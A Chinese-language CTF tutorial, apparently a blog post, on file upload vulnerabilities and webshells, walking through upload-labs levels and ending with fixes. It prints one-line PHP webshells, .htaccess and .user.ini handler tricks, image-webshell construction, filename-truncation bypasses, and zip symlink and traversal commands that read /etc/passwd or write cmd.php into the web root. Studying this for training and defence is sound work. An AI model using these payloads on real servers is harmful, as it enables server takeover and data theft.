MENU

文件上传漏洞与WebShell

• November 3, 2024 • Read: 441 • 默认分类,CTF

WebShell与WebShell管理工具

认识WebShell

WebShell就是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门

黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
  • WebShell 约等于 “木马” 、 “后门” ,只不过是以网页文件形式存在,仅在网络安全领域使用。

WebShell的分类

WebShell根据编程语言可以分为

  • php木马
  • aspx木马 - .NET
  • jsp木马 - Java
  • 跟随时代和技术的发展,现在也有用python编写的脚本木马

按照文件大小和功能可以分为3种:大马,小马,一句话木马,具体使用场景和特点如下图:

image-20240702211606615

一句话木马:代码简短,通常只有一行代码,使用方便。比如PHP一句话木马:

<?php @eval($_POST['cmd']);?>
<?php assert($_COOKIE['a']);?>

常用客户端向服务端传递参数的三种方式:GET、POST、COOKIE

WebShell管理工具

攻击者在入侵网站时,通常要通过各种方式写入WebShell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。为了方便对这些WebShell进行管理和利用,就诞生了各种各样的WebShell管理工具。

这里给大家介绍3款常用的管理工具:蚁剑、冰蝎、哥斯拉

中国蚁剑

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

安装:

  1. 解压加载器文件和源代码文件;
  2. 打开加载器中的AntSword.exe程序,选择初始化,初始化目录就是解压后的源代码文件目录;
  3. 再次打开加载器中的AntSword.exe程序就可以使用中国蚁剑了。

冰蝎

通信过程中使用AES(高级加密算法,对称加密)进行加密,Java和.NET默认支持AES,php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情况动态选择,使得冰蝎更强大。

项目地址:https://github.com/rebeyond/Behinder

冰蝎自带了各种语言的木马,只能配合冰蝎使用。冰蝎也只能连接冰蝎的webshell。

使用上,和中国蚁剑类似,功能更强大。

哥斯拉

与冰蝎类似

项目地址:https://github.com/BeichenDream/Godzilla

文件上传

这一节我们需要掌握:

常用的绕过方法,以及对文件上传php代码的审计

漏洞成因

很多应用需要用户上传文件到服务器,由服务器解析文件内容。如头像上传等功能。

如果服务器端后端未对上传的文件进行严格的验证和过滤,就可能造成上传恶意文件的情况,造成文件上传漏洞。

常见场景是web服务器允许用户上传图片或者普通文本文件保存,而攻击者绕过上传机制上传恶意代码文件并执行从而控制服务器。这个恶意的代码文件(php、asp、aspx、jsp等)通常就是webshell。

危害

攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据
库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。

利用条件

  1. 能上传webshell
  2. webshell路径可知
  3. webshell可以被访问
  4. webshell可以被解析

文件检测机制与绕过方式

1666575271607

如何判断上传漏洞类型?

判断上传漏洞类型

1、客户端检测

客户端检测一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

判断方式:在浏览加载文件,点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

绕过方法:以upload-labs第1关为例

1666575650796

法一:Burp抓包,修改文件后缀

法二:关闭浏览器JavaScript功能再上传 发现上传成功 (仅Firefox)

image-20240702214222260

2、服务端检测

服务端检测就是网站对用户上传的文件的检测代码放置在服务器里,当用户上传的文件通过了检测才会 被允许保存在服务器里。主要分为3类:

  1. MIME类型检测
  2. 文件后缀检测
  3. 文件内容检测

2.1 MIME类型检测

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准,用来表示文档、文件或字节流的性质和格式。简单来说就是用来表示我们提交的数据的类型。

检测方式:通过检查http包的 Content-Type 字段中的值来判断上传文件是否合法。一般采取白名单的方式来进行检测,如只能上传图像文件的话就 Content-Type 头就必须为 image/jpeg 或 image/png 或 image/gif。在http数据包中在 Content-Type 字段常见值有:

文本:text/plain、text/html、text/css、text/javascript、text/xml
图片:image/gif、image/png、image/jpeg
视频:video/webm、video/ogg
音频:audio/midi、audio/mpeg、audio/webm、audio/ogg、audio/wav
二进制:application/octet-stream、application/pdf、application/json
在表单中进行文件上传:multipart/form-data

绕过:一般来说网站的上传点是允许上传图片的,所以可以利用Burp Suite截取并修改数据包中的 Content-Type字段的值为图片类型的值从而进行绕过。

以upload-labs第2关为例:

上传info.php文件发现上传错误

1666581231519

然后burp抓包修改Content-Type 为图片类型的即可

1666581395477

然后访问一下看是否可以解析

1666581475446

解析成功

代码解析:

<?php
include '../config.php'; // 文件包含
include '../head.php'; 
include '../menu.php';

$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) { // 验证文件是否上传
    if (file_exists(UPLOAD_PATH)) { // 验证上传路径是否存在
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { // $_FILES['upload_file']['type']表示上传文件的MIME类型
            $temp_file = $_FILES['upload_file']['tmp_name']; // 已上传文件在服务器端保存的临时文件名,包含路径
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
            
            if (move_uploaded_file($temp_file, $img_path)) { // 将保存的临时文件移动到$img_path路径
                $is_upload = true; // 完成上传
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH . ' 文件夹不存在,请手工创建!';
    }
}
?>

2.2 文件后缀检测

主要是黑名单检测和白名单检测

黑名单检测

一般情况下,代码文件里会有一个数组或者列表,该数组或者列表里会包含一些非法的字符或者字符串,当数据包中含有符合该列表的字符串时,即认定该数据包是非法的。

如何确认是否是黑名单检测:黑名单是有限的,可以随意构造一个文件后缀,如果可以上传,则说明是黑名单检测。

可以通过BP里面的intruder模块进行判断那些后缀是可以用的(Fuzzing)

绕过方式:

利用其它后缀绕过

首先,对于黑名单的过滤,可以考虑使用 php3 php4 php5 等后缀绕过

PHP:php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定);

ASP:asa、cer、cdx;

ASPX:ascx、ashx、asac;

JSP:jspx、jspf。

可以参考靶场Pass-3。

后缀名双写绕过

有些代码中,会将文件后缀符合黑名单列表的字符串替换为空,比如将“php”替换为空,这时可以将木马命名为webshell.pphphp,这样上传后的文件名为webshell.php。具体命名
根据文件类型和替换规则确定,可以参考靶场Pass-10。

for example:

上传一个php文件 发现可以上传但是没有解析成功 然后burp 抓包发现php被去掉了

1666609078025

说明有可能是双写绕过

1666609144428

发现上传成功 解析也成功

1666609489444

后缀名大小写绕过

(仅适用于windows系统作服务器)

流程:上传php文件发现无法上传,然后发现是黑名单检测,但是后缀名都不可以上传

此时可以上传后缀为大写字母的文件,利用windows对大小写不敏感,来访问和执行木马。可以参考靶场Pass-5。

1666609837832

空格绕过

(仅适用于windows系统作服务器)

如果服务器没有进行去空格处理,可以在后缀之后加空格绕过。可以参考靶场Pass-6。

流程:发现图片可以绕过 但是无法解析 然后是黑名单检测 很多后缀名都不可以上传 大小写也不可以 然后 在.php后面加上一个空格 然后上传解析成功

点绕过

(仅适用于windows系统作服务器)

如果服务器没有进行去点(.)处理,可以在后缀之后加点(.php.),利用windows的特点,会自动去点后缀名最后的点,进行绕过。可以参考靶场Pass-7。

点空格点绕过

(仅适用于windows系统作服务器)

如果服务器只进行了一遍去点处理和去空格处理,可以采用. .的方式使最后剩下一个.

例:Pass-9

::$DATA 绕过

(仅适用于windows系统作服务器)

在 Windows 操作系统中,当你看到文件名后跟着“::$DATA”时,它表示文件的一个附加数据流(Alternate·Data·Stream,ADS)。数据流是一种用于在文件内部存储额外数据的机制。

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是Windows·NT 文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加“::$DATA”来访问。

例如,“1.txt”是一个文件,而“1.txt::$DATA”是这个文件的个附加数据流。这样的数据流可以用于存储文件的元数据、备份信息、标签等。

需要注意的是,大多数常规的文件操作工具不会意识到这些额外的数据流,而只会处理默认的数据流。要访问或操作这些附加数据流,通常需要使用特定的命令行工具或编程接口。

如果服务器没有对后缀名进行去 ::$DATA 处理,利用windows特点,可以忽略 ::$DATA ,直接访问前面的文件名。可以参考靶场Pass-8。

图片+.htaccess绕过

(仅适用于Apache作web服务器)

.htaccess文件,是apache服务器的一个配置文件,全称是Hypertext Access(超文本入口),提供了针对目录改变配置的方法。

.htaccess文件可以修改apache的配置,但仅作用于当前目录。比如新建一个.htaccess文件:

<FilesMatch "webshell.png"> 
    setHandler application/x-httpd-php 
</FilesMatch>

通过此.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含"webshell.png"这个字符串的任意文件。所以无论文件名是什么样子,只要包含"webshell.png"这个字符串,都可以被以
php 的方式来解析。

一个自定的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制。在测试时,可以首先上传这个.htaccess文件,再上传webshell.png文件。可以参考靶场Pass-4。

上面是匹配单个文件,其实,.htaccess还可以匹配一类文件:

Sethandler application/x-httpd-php #将该目录和子目录下的文件都按照php代码解析执行
AddType application/x-httpd-php .xx #将.xx类文件按照php代码解析执行
AddHandler php5-script .xx #将.xx类文件按照php代码解析执行
.user.ini绕过

php.ini是php的全局配置文件,对整个web服务起作用,而.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门。

常用配置:

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

利用条件:

服务器脚本语言为PHP 服务器使用CGI
FastCGI模式
上传目录下要有可执行的php文件

白名单检测

白名单:一般情况下,代码文件里会有一个数组或者列表,该数组或者列表里会包含一些合法的字符或者字符串,如果数据包中的文件后缀不符合白名单,就不允许上传。

如何确认是否是白名单检测:上传一张图片与一个自己构造的后缀,如果只能上传图片,不能上传其它 后缀文件,说明是白名单检测。

绕过方式:可以利用00截断的方式进行绕过,包括%00截断与0x00截断。

前提

php:php < 5.3.29 且php.ini文件中magic_quotes_gpc=off
java::jdk < JDK1.7.0_40
%00截断

%00是一个url编码,url发送到服务器后就被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了空字符。在url中%00表示ascll 码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

img

例:Pass-11

image-20240703090903319

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) {
    $ext_arr = array('jpg', 'png', 'gif');
    $file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1); // 截取文件后缀

    if (in_array($file_ext, $ext_arr)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext; // 文件保存路径

        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
?>

说明:修改filename为允许上传的文件后缀;在保存路径处添加希望保存的木马文件名和%00,得到上传文件保存路径(类似:../upload/webshell.php%00/2920220602155238.jpg),%00表示字符串结束,实际将文件保存在../upload/webshell.php。

0x00截断

0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制
例:Pass-12

image-20240703090755376

文件内容检测(了解)

文件内容检测就是检测上传的文件里的内容,包括

  • 文件幻数检测:通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。(或者叫文件头检测)
  • php标签检测:检测并过滤上传文件中包含的 <?php 内容。
  • 文件加载检测:一般是调用API或函数对文件进行加载测试。常见的是对图像进行二次渲染。
文件头检测

image-20240703091152709

绕过方式(制作图片马,利用文件包含漏洞):

1.使用16进制编辑器打开一个图片,在图片后面插入webShell

image-20240703091353931

或者: cmd下执行:copy logo.png/b +webshell.php/a logo_webshell.png,其中 /b代表以二进制编码打开文件,/a代表以ASCII码编码打开文件。

2.直接访问上传文件会打开图片,但无法执行webshell,需要配合文件包含漏洞执行webshell

image-20240703091328157

进阶:有时候服务器会严格校验图片,上述方式制作的图片马会改变图片大小,导致无法通过验证。这时可以通过图片马制作工具,得到一张原生的包含木马的图片。

项目地址:https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

使用:基于python3

  1. 安装依赖库:pip install -r requirements.txt
  2. 查看帮助:python generate.py -h
  3. 制作图片马:python generate.py -m php -o png.php
  4. 使用蚁剑连接
php标签检测

php标签的4种写法:

  1. <?php echo md5('tag');?> :正常写法,可能会被过滤,这时就要采用后面的3中写法。
  2. <?= md5('tag');?> :短标签写法, <?= 就相当于 <?php echo ;如果配置文件php.ini中short_open_tag = On,则可以用 <?= 代替 <?php
  3. <script language='php'> echo md5('tag');?> :适用于php7以前的版本。
  4. <% md5('tag');%> :需要通过 php.ini 配置文件中的指令 asp_tags=On打开后才可用。
二次渲染

就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到特殊的数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

关键代码:
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

绕过方式:先上传一张图片,再重新将图片下载下来做比较,然后在相同的地方插入webshell

然后重新上传,配合文件包含漏洞执行webshell(参考upload-labs第16关)。

条件竞争

https://cloud.tencent.com/developer/article/1933685

例:Pass-17

  • 情景

    文件上传后,检测是否合法,不合法就删除

  • 利用方式

    在删除前访问到上传的文件

    复制

    <?php
    $file = 'web.php';
    $shell = '<?php eval($_POST["key"])?>';
    file_put_contents($file,$shell);
    ?>

补充:php崩溃可导致tmp文件保留

当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道/tmp目录下的文件名。

zip压缩包

软链接

unzip()存在软链接攻击,发现可以通过上传一个软链接的压缩包,把特定文件像个钩子一样勾出来,实现任意文件读取:

复制

ln -s          // linux的软链接 类似快捷方式
ln -s /etc/passwd forever404    //会出现一个forever404文本 里面包含有密码
/proc/self    // 记录系统运行的信息状态 cwd指向当前进程运行目录的一个符号链接 即Flask运行进程目录

链接文件

构造一个指向文件 /xxx 的软连接:

复制

ln -s /xxx link
zip -y test.zip link

上传这个压缩包,访问上传目录下的/link,即可得到/xxx的内容。

链接目录

先构造一个指向 /var/www/html 的软连接:

复制

ln -s /var/www/html test
zip --symlinks test.zip ./*

此时上传该test.zip,解压出里边的文件也是软连接 /var/www/html 目录下;

接下来的思路就是想办法构造一个getshell文件让getshell文件正好解压在 /var/www/html,此时就可以getshell。

构造第二个压缩包,先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,在压缩创建的test目录 此时压缩包目录架构是:test/cmd.php。

复制

mkdir test
cd test
echo "<?php @eval($_GET[cmd]);" > cmd.php
cd ..
zip -r test1.zip ./*

当上传这个压缩包时会覆盖上一个test目录,但是test目录软链接指向 /var/www/html,解压的时候会把cmd.php放在 /var/www/html,此时达到了getshell的目的。

目录穿越

如果服务器对上传的zip文件直接解压的话,就可以构筑这样一个文件来绕过境:/var/www/html/upload目录不解析php文件,解压文件默认在upload下

新建1234.php,内容任意

将1234.php压缩为1234.zip文件

使用hxd或者010editor等16进制编辑器编辑1234.zip文件,将所有字符串1234.php替换为../1.php(../1共四位所以使用1234为文件名)

将修改后的1234.zip上传,经过服务器解压,会在/var/www/html下生成一个1.php

超长文件名截断上传

windows - 258byte | linux - 4096byte

使用./.

只解压一半的压缩包(解压一半出错)

  • Windows 7zip

    7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。

    修改方法:

    准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php说webshell,然后将这两个文件压缩成shell.zip。

    用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分,打开第4部分,其中有个deCrc,随便把值改成其他的值,然后保存。

    此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件。

  • PHP ZipArchive库

    ZipArchive容忍度比较高,可以在文件名上下功夫。

    比如,Windows下不允许文件名中包含冒号(:),可以在010editor中将2.txt的deFileName属性的值改成2.tx:,此时解压就会出错,但1.php被保留了下来。

    在Linux中也有类似的方法,可以将文件名改为5个斜杠(/////),此时Linux下解压也会出错,但1.php被保留了下来。

双文件上传

本意为上传两个或多个文件去突破。上传点支持多文件上传,但是却只对第一个文件做了过滤。

利用方式:

  • 在存在双文件上传漏洞的页面中,查看上传的页面。F12找到上传的post表单,action属性是指定上传检测页面,一般是写的绝对路径,比如:xxx.asp/xxx.php
  • 补全url:https://www.xxx.com/xxx.php(asp)
  • 构造本地post提交表单
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

利用时只需要修改action的值为指定上传页面即可

  • 第一个文件上传允许的文件类型(.jpg .png .gif 等),第二个上传文件是一句话木马或者WebShell脚本。这样就可以突破上传限制,成功上传木马到服务器。

文件上传漏洞修复

  1. 上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
  2. 对文件后缀的判断中使用白名单的方式。
  3. 文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。
  4. 不需要返回文件路径的情况下,随机改写文件名。
Archives QR Code Tip
QR Code for this page
Tipping QR Code